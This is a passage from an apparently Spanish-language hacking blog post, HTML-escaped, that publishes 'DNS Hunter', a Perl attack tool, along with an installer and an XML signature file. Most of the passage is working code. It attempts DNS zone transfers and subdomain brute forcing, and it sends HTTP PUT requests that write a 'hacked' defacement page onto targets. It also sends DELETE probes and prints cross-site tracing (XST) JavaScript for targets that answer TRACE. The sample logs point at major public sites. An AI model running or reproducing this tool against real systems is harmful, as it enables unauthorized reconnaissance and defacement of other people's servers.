/&gt;&lt;b&gt;&lt;br /&gt;Logs de Ejemplo:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://phreackersworld.phpnet.us/wikipedia.org.txt" target="_blank"&gt;http://phreackersworld.phpnet.us/wikipedia.org.txt&lt;/a&gt;&lt;br /&gt;&lt;a href="http://phreackersworld.phpnet.us/google.com.txt" target="_blank"&gt;http://phreackersworld.phpnet.us/google.com.txt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;ya les dije que no es la gran cosa esta tool, as� que no hagan malos comentarios que yo nunca he dicho que es una mega tool xD...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Nota:&lt;/b&gt; el codigo XST como todos sabremos es obsoleto, pero lo puse como ejemplo xD...&lt;br /&gt;&lt;b&gt;Nota 2:&lt;/b&gt; El Installer.pl no es compatible con windows, así que tendrán que bajar las librerías manualmente:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Librerías:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;http://www.net-dns.org/download/&lt;br /&gt;http://search.cpan.org/CPAN/authors/id/G/GR/GRANTM/XML-Simple-2.18.tar.gz&lt;br /&gt;http://search.cpan.org/CPAN/authors/id/L/LU/LUISMUNOZ/NetAddr-IP-4.007.tar.gz&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;&lt;b&gt;installer.pl&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 410px; height: 300px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;#!/usr/bin/perl&lt;br /&gt;use CPAN;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;use HTTP::Request::Common;&lt;br /&gt;&lt;br /&gt;CPAN::Shell-&gt;install("Net::DNS");&lt;br /&gt;CPAN::Shell-&gt;install("NetAddr::IP");&lt;br /&gt;CPAN::Shell-&gt;install("LWP::UserAgent");&lt;br /&gt;CPAN::Shell-&gt;install("HTTP::Request::Common");&lt;br /&gt;CPAN::Shell-&gt;install("XML::Simple");&lt;br /&gt;CPAN::Shell-&gt;install("Getopt::Std");&lt;br /&gt;&lt;br /&gt;print "[X] Instalado! :).... \n[X] Ejecuta: perl dns.pl\n";&lt;br /&gt;system('perl dns.pl');&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;&lt;b&gt;dns.pl&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 410px; height: 300px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;use Net::DNS;&lt;br /&gt;use Net::DNS::RR;&lt;br /&gt;use NetAddr::IP;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;use Socket;&lt;br /&gt;use HTTP::Request::Common;&lt;br /&gt;use XML::Simple;&lt;br /&gt;use Getopt::Std;&lt;br /&gt;&lt;br /&gt;#DNS Hunter By Xianur0&lt;br /&gt;#uxmal666@gmail.com&lt;br /&gt;#Uso: dns.pl [Web] [Opción]&lt;br /&gt;&lt;br /&gt;#CONFIGURACION:&lt;br /&gt;#------------------------------------------&lt;br /&gt;$ver = "0.2";&lt;br /&gt;%whoisserver = (&lt;br /&gt;    'com', 'whois.crsnic.net',&lt;br /&gt;    'net', 'whois.crsnic.net',&lt;br /&gt;    'edu', 'whois.crsnic.net',&lt;br /&gt;    'org', 'whois.publicinterestregistry.net',&lt;br /&gt;    'info', 'whois.rotld.ro');&lt;br /&gt;$ua = LWP::UserAgent-&gt;new;&lt;br /&gt;my $lib = XMLin("lib.xml");&lt;br /&gt;#-------------------------------------------&lt;br /&gt;print "                                ..::DNS Hunter By Xianur0 Version Fenix (Privada)::..\n\n";&lt;br /&gt;my $host = &lt;/span&gt;&lt;span style="font-size:100%;"&gt;$ARGV[0]&lt;/span&gt;&lt;span style="font-size:100%;"&gt;;&lt;br /&gt;new NetAddr::IP($host) || die "Error: IP o Dominio Incorrecto!\n";&lt;br /&gt;&lt;br /&gt;   my $opt_string = 'whdta';&lt;br /&gt;   whois() if $opt{w};&lt;br /&gt;   uso() if $opt{h};&lt;br /&gt;   dns() if $opt{d};&lt;br /&gt;   http() if $opt{t};&lt;br /&gt;   todo() if $opt{a};&lt;br /&gt;&lt;br /&gt;sub dns() {&lt;br /&gt;print "\n[-]Inicio del Scanneo: ". localtime()."\n";&lt;br /&gt;&amp;soa;&lt;br /&gt;&amp;mx;&lt;br /&gt;&amp;txt;&lt;br /&gt;&amp;ns;&lt;br /&gt;&amp;hinfo;&lt;br /&gt;&amp;dnsrotativo;&lt;br /&gt;&amp;any;&lt;br /&gt;&amp;zonas;&lt;br /&gt;print "Fin del Scanneo: ". localtime(). "\n";&lt;br /&gt;}&lt;br /&gt;sub todo() {&lt;br /&gt;whois();&lt;br /&gt;dns();&lt;br /&gt;http();&lt;br /&gt;}&lt;br /&gt;sub uso {&lt;br /&gt;die "[-]Uso: dns.pl [dominio] [opciones]\nOpciones:\n-t HTTP AttackToolKit\n-w Ataque Whois\n-d Ataque DNS\n-a Ejecuta Todo lo Anterior\n";&lt;br /&gt;}&lt;br /&gt;sub dnsrotativo {&lt;br /&gt;print "[-]Buscando DNS Rotativos (Mediante PTR)...:\n";&lt;br /&gt;my $consulta = new NetAddr::IP($host);&lt;br /&gt;&amp;consultar;&lt;br /&gt;my $inicial = $ipaddr;&lt;br /&gt;&amp;consultar;&lt;br /&gt;while($inicial ne $ipaddr) { &amp;consultar; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub consultar {&lt;br /&gt;my $consulta = new NetAddr::IP($host) || die "Error: IP o Dominio Incorrecto!\n";&lt;br /&gt;my $resolver = Net::DNS::Resolver-&gt;new;&lt;br /&gt;my $hosts = $consulta-&gt;num();&lt;br /&gt;for (my $i=0; $i&lt;$hosts; ++$i) { $ipaddr = $consulta-&gt;addr();&lt;br /&gt;if ($ipaddr) {&lt;br /&gt;my $consulta = $resolver-&gt;search("$ipaddr");&lt;br /&gt;if ($consulta) {&lt;br /&gt;foreach my $array ($consulta-&gt;answer) {&lt;br /&gt;next unless $array-&gt;type eq "PTR";&lt;br /&gt;print "IP: $ipaddr\n","Host: " ,$array-&gt;ptrdname, "\n\n"; }&lt;br /&gt;} }}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub soa {&lt;br /&gt;print "[-]Registro SOA:\n";&lt;br /&gt;my $resolver   = Net::DNS::Resolver-&gt;new;&lt;br /&gt;my $consulta = $resolver-&gt;query($host, "SOA");&lt;br /&gt;if ($consulta) {&lt;br /&gt; ($consulta-&gt;answer)[0]-&gt;print;&lt;br /&gt;}&lt;br /&gt;print "\n\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub zonas {&lt;br /&gt;if($sdns[0] eq "") { $sdns[0] = $ipaddr;}&lt;br /&gt;foreach $dnsa (@sdns) {&lt;br /&gt;print "[-]Intentando Ataque AXFR....: Usando: $dnsa\n";&lt;br /&gt;my $consulta = Net::DNS::Resolver-&gt;new;&lt;br /&gt;$consulta-&gt;nameservers($dnsa);&lt;br /&gt;my @zonas = $consulta-&gt;axfr($host);&lt;br /&gt;if(!@zonas) { print "No se Logro Obtener Zonas :(..."; &amp;detectarcomodin; } else {&lt;br /&gt;foreach $array (@zonas) {&lt;br /&gt; $array-&gt;print;&lt;br /&gt;} print "\Vulnerado :D!\n\n";}&lt;br /&gt;print "\n\n";&lt;br /&gt;} }&lt;br /&gt;&lt;br /&gt;sub ns {&lt;br /&gt;my $consulta   = Net::DNS::Resolver-&gt;new;&lt;br /&gt;my $consulta = $consulta-&gt;query($host, "NS");&lt;br /&gt;if ($consulta) {&lt;br /&gt;print "[-]Servidores DNS:\n";&lt;br /&gt; foreach $array (grep { $_-&gt;type eq 'NS' } $consulta-&gt;answer) {&lt;br /&gt;print $array-&gt;nsdname ."\n";&lt;br /&gt;@sdns = (@sdns, $array-&gt;nsdname);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;print "\n\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub hinfo {&lt;br /&gt;my $consulta   = Net::DNS::Resolver-&gt;new;&lt;br /&gt;my $consulta = $consulta-&gt;query($host, "HINFO");&lt;br /&gt;if ($consulta) {&lt;br /&gt;print "\n[-]Registro HINFO:\n";&lt;br /&gt; foreach $array ($consulta-&gt;answer) {&lt;br /&gt; $array-&gt;print;&lt;br /&gt; }}&lt;br /&gt;print "\n\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub mx {&lt;br /&gt;my $resolver   = Net::DNS::Resolver-&gt;new;&lt;br /&gt;my $consulta = $resolver-&gt;query($host, "MX");&lt;br /&gt;if ($consulta) {&lt;br /&gt;print "\n[-]Servidores de Correo: \n";&lt;br /&gt; foreach $array ($consulta-&gt;answer) {&lt;br /&gt; $array-&gt;print;&lt;br /&gt;}&lt;br /&gt;print "\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub txt {&lt;br /&gt;my $resolver   = Net::DNS::Resolver-&gt;new;&lt;br /&gt;my $consulta = $resolver-&gt;query($host, "TXT");&lt;br /&gt;if ($consulta) {&lt;br /&gt;print "\n[-]Registro TXT (Configuracion MX): \n";&lt;br /&gt; foreach $array ($consulta-&gt;answer) {&lt;br /&gt; $array-&gt;print;&lt;br /&gt;}&lt;br /&gt;print "\n\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub any {&lt;br /&gt;print "[-]Obteniendo informaci�n Extra:\n";&lt;br /&gt;my $resolver   = Net::DNS::Resolver-&gt;new;&lt;br /&gt;my $consulta = $resolver-&gt;query($host, "ANY");&lt;br /&gt;if ($consulta) {&lt;br /&gt; foreach $array ($consulta-&gt;answer) {&lt;br /&gt; $array-&gt;print;&lt;br /&gt;}}&lt;br /&gt;print "\n\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub detectarcomodin {&lt;br /&gt;print "Detectando Comodin en Registros A...\n";&lt;br /&gt;my $consulta = new NetAddr::IP("dnshunter.$host");&lt;br /&gt;if($consulta) { print "\nServidor Protegido contra DNS Brutes Forces...."; &amp;brute2; } else {print "No Se Detecto Comodin :).\n"; &amp;brute;}&lt;br /&gt;}&lt;br /&gt;sub brute {&lt;br /&gt;print "Probando DNS Brutes Forces:\n";&lt;br /&gt;$db = 'db.txt';&lt;br /&gt;my $sub;&lt;br /&gt;open(SUBS, $db) || die "No existe la DB!";&lt;br /&gt;while($sub = &lt;subs&gt;){&lt;br /&gt;chomp($sub);&lt;br /&gt;$remoto = "$sub.$host";&lt;br /&gt;my $consulta = new NetAddr::IP($remoto);&lt;br /&gt;if($consulta) {print "$remoto existe!\n"; &amp;robots;}&lt;br /&gt;}&lt;br /&gt;close(SUBS);&lt;br /&gt;}&lt;br /&gt;sub brute2 {&lt;br /&gt;print "Iniciando Fase 2....\n";&lt;br /&gt;$url = "detectarcomodinesenlosregistroshost.$host";&lt;br /&gt;$req = HTTP::Request-&gt;new(GET =&gt; $url);&lt;br /&gt;&amp;headers;&lt;br /&gt;$res = $ua-&gt;request($req);&lt;br /&gt;$estado = $res-&gt;code;&lt;br /&gt;&lt;br /&gt;if ($estado != ""){&lt;br /&gt;print "Servidor Protegido Contra Brutes Forces en el Header Host del HTTP :(...\n";&lt;br /&gt;}&lt;br /&gt;else {print "No se detecto Proteccion en el HTTP :)..\n"; &amp;brute3; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub headers {&lt;br /&gt;$req-&gt;header('Accept' =&gt; 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5');&lt;br /&gt;$req-&gt;header('Accept-Language' =&gt; 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');&lt;br /&gt;$req-&gt;header('Keep-Alive' =&gt; '300');&lt;br /&gt;$req-&gt;header('Connection' =&gt; 'keep-alive');&lt;br /&gt;$req-&gt;header('Accept-Charset' =&gt; 'ISO-8859-1,utf-8;q=0.7,*;q=0.7');&lt;br /&gt;}&lt;br /&gt;sub brute3 {&lt;br /&gt;$db = 'db.txt';&lt;br /&gt;my $sub;&lt;br /&gt;open(SUBS, $db) || die "No existe la DB!";&lt;br /&gt;while($sub = &lt;subs&gt;){&lt;br /&gt;chomp($sub);&lt;br /&gt;$remoto = "$sub.$host";&lt;br /&gt;my $proto = getprotobyname('tcp');&lt;br /&gt;my $ipaddr = inet_aton($remoto);&lt;br /&gt;my $paddr = sockaddr_in(80, $ipaddr);&lt;br /&gt;socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";&lt;br /&gt;$conected = connect(SOCKET, $paddr);&lt;br /&gt;close SOCKET;&lt;br /&gt;if ($conected) {&lt;br /&gt;print "$remoto Existe!\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;close(SUBS);&lt;br /&gt;}&lt;br /&gt;sub robots {&lt;br /&gt;$req = HTTP::Request-&gt;new(GET =&gt; "http://$host/robots.txt");&lt;br /&gt;&amp;headers;&lt;br /&gt;$res = $ua-&gt;request($req);&lt;br /&gt;if ($res-&gt;is_success) {&lt;br /&gt;if($res-&gt;content_type eq 'text/plain') {&lt;br /&gt;print "--------------------------------------------------------------------------------------\n".$res-&gt;content."\n--------------------------------------------------------------------------------------\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;sub http() {&lt;br /&gt;use IO::Socket;&lt;br /&gt;print "\n[-]HTTP Attack ToolKit: \n\n";&lt;br /&gt;my $sock = new IO::Socket::INET ( PeerAddr =&gt; $host, PeerPort =&gt; 80, Proto =&gt; 'tcp',  Timeout=&gt;'1', );&lt;br /&gt;if(!$sock) {print "No se Pudo Conectar a $host!\n"; } else {&lt;br /&gt;print $sock "OPTIONS / HTTP/1.1\nHost: $host\n\n";&lt;br /&gt;print "-----------------------Headers--------------------------\n";&lt;br /&gt;while ($linea = &lt;$sock&gt;) {&lt;br /&gt;if ($linea =~  "HTTP/1.") {&lt;br /&gt;print "Estado De Respuesta: ".$linea;&lt;br /&gt;}&lt;br /&gt;if ($linea =~  /Server:/) {&lt;br /&gt;print $linea;&lt;br /&gt;for( @{$lib-&gt;{server}} ) {&lt;br /&gt;if ($linea =~  "$_-&gt;{banner}") { print "$_-&gt;{nombre}\n"; }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;for( @{$lib-&gt;{header}} ) {&lt;br /&gt;if ($linea =~  "$_-&gt;{banner}") {&lt;br /&gt;if($linea !~ "&lt;") { my @header = split(": ", $linea); print "$_-&gt;{nombre}".$header[1];&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;close($sock);&lt;br /&gt;print "-------------------------------------------------\n\n";&lt;br /&gt;#PUT&lt;br /&gt;my $sock = new IO::Socket::INET ( PeerAddr =&gt; $host, PeerPort =&gt; 80, Proto =&gt; 'tcp',  ); die "No se Pudo Conectar a $host!\n" unless $sock;&lt;br /&gt;print $sock "PUT /hacked.htm HTTP/1.1\nHost: $host\nContent-Length: 38\n\r\n\r&lt;/subs&gt;&lt;/subs&gt;&lt;h1&gt;Vulnerado por DNS Hunter 0.2&lt;/h1&gt;\n\r\n\r";&lt;br /&gt;@linea = (&lt;$sock&gt;);&lt;br /&gt;for( @{$lib-&gt;{estado}} ) {&lt;br /&gt;if ($linea[0] =~  $_-&gt;{numero}) {&lt;br /&gt;print "[-]Vulnerable a PUT!!....\n      Estado de Respuesta: $_-&gt;{numero}\n\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;close($sock);&lt;br /&gt;#TRACE&lt;br /&gt;my $sock = new IO::Socket::INET ( PeerAddr =&gt; $host, PeerPort =&gt; 80, Proto =&gt; 'tcp', Timeout=&gt;'10', ); die "No se Pudo Conectar a $host!\n" unless $sock;&lt;br /&gt;print $sock "TRACE / HTTP/1.1\nHost: $host\n\r\n\r";&lt;br /&gt;while ($linea = &lt;$sock&gt;) {&lt;br /&gt;if ($linea =~  "message/http") {&lt;br /&gt;print "[-]Vulnerable a TRACE!.....:\nCodigo XST de Demostracion:.\n------------------------------------------\n&lt;script&gt;\nvar xmlhttp = new XMLHttpRequest();\n//var xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');\nActiveXObject('Microsoft.XMLHTTP');\nxmlhttp.open('TRACE','http://$host/',false);\nxmlhttp.send(null);\ntext=xmlhttp.responseText;\ndocument.write(text);\n&lt;/script&gt;\n------------------------------------------\n\n";&lt;br /&gt;}&lt;br /&gt; }&lt;br /&gt;close($sock);&lt;br /&gt;#DELETE&lt;br /&gt;my $sock = new IO::Socket::INET ( PeerAddr =&gt; $host, PeerPort =&gt; 80, Proto =&gt; 'tcp',  Timeout=&gt;'10', ); die "No se Pudo Conectar a $host!\n" unless $sock;&lt;br /&gt;print $sock "DELETE /hacked.htm HTTP/1.1\nHost: $host\n\r\n\r";&lt;br /&gt;@linea = (&lt;$sock&gt;);&lt;br /&gt;for( @{$lib-&gt;{estado}} ) {&lt;br /&gt;if ($linea[0] =~  $_-&gt;{numero}) {&lt;br /&gt;print "[-]Vulnerable a DELETE!!....\n      Estado de Respuesta: $_-&gt;{numero}\n\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;close($sock);&lt;br /&gt;}}&lt;br /&gt;&lt;br /&gt;sub whois() {&lt;br /&gt;my @hosts = split(/\./, $host);&lt;br /&gt;$extencion = pop(@hosts);&lt;br /&gt;$whoisserver = $whoisserver{$extencion};&lt;br /&gt;if($whoisserver eq "") {print "Whois No Disponible para la Extencion: $extencion";} else {&lt;br /&gt;my $sock = new IO::Socket::INET ( PeerAddr =&gt; $whoisserver, PeerPort =&gt; 43, Proto =&gt; 'tcp',  Timeout=&gt;'10', );&lt;br /&gt;print $sock "=".$host."\n";&lt;br /&gt;print "\n[-]Whois ($whoisserver): \n-------------------------&lt;whois&gt;----------------------------\n\n";&lt;br /&gt;while ($linea = &lt;$sock&gt;) {&lt;br /&gt;if($linea =~ $host) {&lt;br /&gt;print "Server: $linea";&lt;br /&gt;}&lt;br /&gt;if($linea =~ "Whois Server") {&lt;br /&gt;my @dato = split(": ", $linea);&lt;br /&gt;chop($dato[1]);&lt;br /&gt;my $who = new IO::Socket::INET ( PeerAddr =&gt;$dato[1], PeerPort =&gt; 43, Proto =&gt; 'tcp',  Timeout=&gt;'10', );&lt;br /&gt;if(!$who) { print "[-]Server Whois Down!\n"; } else {&lt;br /&gt;print $who $host."\n";&lt;br /&gt;print "\n[-]&lt;whois&gt;\n\n"; while($whos = &lt;$who&gt;)  { print $whos; }&lt;br /&gt;print "\n\n[-]&lt;/whois&gt;\n\n";&lt;br /&gt;}} else {&lt;br /&gt;for( @{$lib-&gt;{whois}} ) {&lt;br /&gt;if ($linea =~  "$_-&gt;{etiqueta}") {&lt;br /&gt;my @dato = split(": ", $linea);&lt;br /&gt;print "$_-&gt;{imprimir}".$dato[1]; }&lt;br /&gt;}&lt;br /&gt;}}&lt;br /&gt;print "\n-------------------------&lt;/whois&gt;----------------------------\n\n";&lt;br /&gt;}}&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;lib.xml&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;db&amp;gt;&lt;br /&gt;&amp;lt;server&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;gws&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Google Server&amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/server&amp;gt;&lt;br /&gt;&amp;lt;server&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;GFE&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Google Server&amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/server&amp;gt;&lt;br /&gt;&amp;lt;server&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;Unix&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Servidor Unix/Linux&amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/server&amp;gt;&lt;br /&gt;&amp;lt;server&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;IIS&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Windows Server&amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/server&amp;gt;&lt;br /&gt;&amp;lt;server&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;ucfe&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Google Server&amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/server&amp;gt;&lt;br /&gt;&amp;lt;server&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;Debian&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Debian Server (linux)&amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/server&amp;gt;&lt;br /&gt;&amp;lt;server&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;lighttpd&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Unix/Linux Server (lighttpd)&amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/server&amp;gt;&lt;br /&gt;&amp;lt;server&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;Sun&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Sun Server&amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/server&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;header&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;Date&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Fecha Interna: &amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/header&amp;gt;&lt;br /&gt;&amp;lt;header&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;Vary&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Vary: &amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/header&amp;gt;&lt;br /&gt;&amp;lt;header&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;Content-Encoding&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Codificacion de la Pagina: &amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/header&amp;gt;&lt;br /&gt;&amp;lt;header&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;X-Cache&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Cache Server: &amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/header&amp;gt;&lt;br /&gt;&amp;lt;header&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;X-Cache-Lookup&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Cache Server: &amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/header&amp;gt;&lt;br /&gt;&amp;lt;header&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;Via&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Proxy Server: &amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/header&amp;gt;&lt;br /&gt;&amp;lt;header&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;X-Powered-By&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Powered: &amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/header&amp;gt;&lt;br /&gt;&amp;lt;header&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;Set-Cookie&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Cookie Inicial: &amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/header&amp;gt;&lt;br /&gt;&amp;lt;header&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;P3P&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Licencia P3P: &amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/header&amp;gt;&lt;br /&gt;&amp;lt;header&amp;gt;&lt;br /&gt;&amp;lt;banner&amp;gt;Location&amp;lt;/banner&amp;gt;&lt;br /&gt;&amp;lt;nombre&amp;gt;Redireccion: &amp;lt;/nombre&amp;gt;&lt;br /&gt;&amp;lt;/header&amp;gt;&lt;br /&gt;&amp;lt;estado&amp;gt;&lt;br /&gt;&amp;lt;numero&amp;gt;200&amp;lt;/numero&amp;gt;&lt;br /&gt;&amp;lt;/estado&amp;gt;&lt;br /&gt;&amp;lt;estado&amp;gt;&lt;br /&gt;&amp;lt;numero&amp;gt;201&amp;lt;/numero&amp;gt;&lt;br /&gt;&amp;lt;/estado&amp;gt;&lt;br /&gt;&amp;lt;estado&amp;gt;&lt;br /&gt;&amp;lt;numero&amp;gt;202&amp;lt;/numero&amp;gt;&lt;br /&gt;&amp;lt;/estado&amp;gt;&lt;br /&gt;&amp;lt;estado&amp;gt;&lt;br /&gt;&amp;lt;numero&amp;gt;401&amp;lt;/numero&amp;gt;&lt;br /&gt;&amp;lt;/estado&amp;gt;&lt;br /&gt;&amp;lt;estado&amp;gt;&lt;br /&gt;&amp;lt;numero&amp;gt;403&amp;lt;/numero&amp;gt;&lt;br /&gt;&amp;lt;/estado&amp;gt;&lt;br /&gt;&amp;lt;whois&amp;gt;&lt;br /&gt;&amp;lt;etiqueta&amp;gt;Server Name&amp;lt;/etiqueta&amp;gt;&lt;br /&gt;&amp;lt;imprimir&amp;gt;Nombre del Servidor: &amp;lt;/imprimir&amp;gt;&lt;br /&gt;&amp;lt;/whois&amp;gt;&lt;br /&gt;&amp;lt;whois&amp;gt;&lt;br /&gt;&amp;lt;etiqueta&amp;gt;Registrar&amp;lt;/etiqueta&amp;gt;&lt;br /&gt;&amp;lt;imprimir&amp;gt;Registrado Con: &amp;lt;/imprimir&amp;gt;&lt;br /&gt;&amp;lt;/whois&amp;gt;&lt;br /&gt;&amp;lt;whois&amp;gt;&lt;br /&gt;&amp;lt;etiqueta&amp;gt;Referral UR&amp;lt;/etiqueta&amp;gt;&lt;br /&gt;&amp;lt;imprimir&amp;gt;Registrado En: &amp;lt;/imprimir&amp;gt;&lt;br /&gt;&amp;lt;/whois&amp;gt;&lt;br /&gt;&amp;lt;whois&amp;gt;&lt;br /&gt;&amp;lt;etiqueta&amp;gt;IP Address&amp;lt;/etiqueta&amp;gt;&lt;br /&gt;&amp;lt;imprimir&amp;gt;IP: &amp;lt;/imprimir&amp;gt;&lt;br /&gt;&amp;lt;/whois&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;whois&amp;gt;&lt;br /&gt;&amp;lt;etiqueta&amp;gt;Status&amp;lt;/etiqueta&amp;gt;&lt;br /&gt;&amp;lt;imprimir&amp;gt;Estado: &amp;lt;/imprimir&amp;gt;&lt;br /&gt;&amp;lt;/whois&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;whois&amp;gt;&lt;br /&gt;&amp;lt;etiqueta&amp;gt;Updated Date&amp;lt;/etiqueta&amp;gt;&lt;br /&gt;&amp;lt;imprimir&amp;gt;Ultima Actualizacion: &amp;lt;/imprimir&amp;gt;&lt;br /&gt;&amp;lt;/whois&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;whois&amp;gt;&lt;br /&gt;&amp;lt;etiqueta&amp;gt;Creation Date&amp;lt;/etiqueta&amp;gt;&lt;br /&gt;&amp;lt;imprimir&amp;gt;Dominio Registrado El: &amp;lt;/imprimir&amp;gt;&lt;br /&gt;&amp;lt;/whois&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;whois&amp;gt;&lt;br /&gt;&amp;lt;etiqueta&amp;gt;Expiration Date&amp;lt;/etiqueta&amp;gt;&lt;br /&gt;&amp;lt;imprimir&amp;gt;El Dominio Expira el: &amp;lt;/imprimir&amp;gt;&lt;br /&gt;&amp;lt;/whois&amp;gt;&lt;br /&gt;&amp;lt;whois&amp;gt;&lt;br /&gt;&amp;lt;etiqueta&amp;gt;Name Server&amp;lt;/etiqueta&amp;gt;&lt;br /&gt;&amp;lt;imprimir&amp;gt;Servidor DNS: &amp;lt;/imprimir&amp;gt;&lt;br /&gt;&amp;lt;/whois&amp;gt;&lt;br /&gt;&amp;lt;whois&amp;gt;&lt;br /&gt;&amp;lt;etiqueta&amp;gt;Registrant&amp;lt;/etiqueta&amp;gt;&lt;br /&gt;&amp;lt;imprimir&amp;gt;Registrante: &amp;lt;/imprimir&amp;gt;&lt;br 